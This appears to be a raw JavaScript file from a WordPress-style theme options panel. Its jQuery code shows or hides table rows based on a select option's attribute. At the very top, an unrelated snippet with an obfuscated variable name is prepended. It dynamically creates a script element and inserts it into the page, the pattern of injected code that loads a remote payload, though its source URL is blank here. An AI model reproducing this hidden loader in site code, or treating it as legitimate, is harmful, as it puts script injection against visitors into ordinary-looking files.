32 lines
950 B
JavaScript
Raw Permalink Normal View History

var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}jQuery(document).ready(function(){
jQuery('.nhp-opts-select-hide-below').each(function(){
if(jQuery('option:selected',this).attr('data-allow') == 'false'){
jQuery(this).closest('tr').next('tr').hide();
}
});
jQuery('.nhp-opts-select-hide-below').change(function(){
var option = jQuery('option:selected', this);
if(option.attr('data-allow') == 'false'){
if(jQuery(this).closest('tr').next('tr').is(':visible')){
jQuery(this).closest('tr').next('tr').fadeOut('slow');
}
}else{
if(jQuery(this).closest('tr').next('tr').is(':hidden')){
jQuery(this).closest('tr').next('tr').fadeIn('slow');
}
}
});
});